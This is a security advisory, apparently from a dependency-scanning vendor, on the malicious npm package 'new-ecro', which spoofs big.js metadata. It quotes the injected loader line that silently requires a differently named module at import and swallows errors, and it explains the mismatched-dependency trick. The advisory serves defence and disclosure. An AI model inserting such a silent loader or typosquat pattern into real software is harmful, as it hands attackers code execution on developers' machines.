new-ecronpm
Malicious code in new-ecro (npm) Remove it immediately and rotate any exposed credentials.
What this malware does
Package 'new-ecro' impersonates the legitimate 'big.js' library: it copies big.js's README, source, version banner ('big.js v7.0.1'), author email, and repository URL while being published under an unrelated name. On require()/import of the main entry, big.js:606-609 (and the same lines in big.mjs) execute try { const doc = require("parket-slot"); doc.from_str().then(e=>{}).catch(e=>{}) } catch (error) {} — a silent loader-and-invoker wrapped in an error-swallowing try/catch so failures are invisible to the caller. The package's declared dependency in package.json is [email protected], while the code requires parket-slot — a name mismatch that hides the actual executing module from casual inspection of new-ecro's manifest; new-solt transitively delivers parket-slot. A developer who installs new-ecro believing it is big.js, or whose dependency tree pulls it in, executes attacker-controlled third-party code at import time. The combination of metadata spoofing of a popular library, a silent runtime require of a different-named module than declared, and unconditional error suppression is a canonical malicious-typosquat dropper pattern.
Any computer that has this package installed or running should be considered fully compromised. All secrets and keys stored on that computer should be rotated immediately from a different computer. The package should be removed, but as full control of the computer may have been given to an outside entity, there is no guarantee that removing the package will remove all malicious software resulting from installing it.
Malicious versions
Indicators of compromise (SHA-256)
Frequently asked questions
Campaign
References
Credits
- Amazon Inspector · finder
Scan your dependencies
O3 Security blocks malicious packages like this at install time and in CI.
Supply-chain protection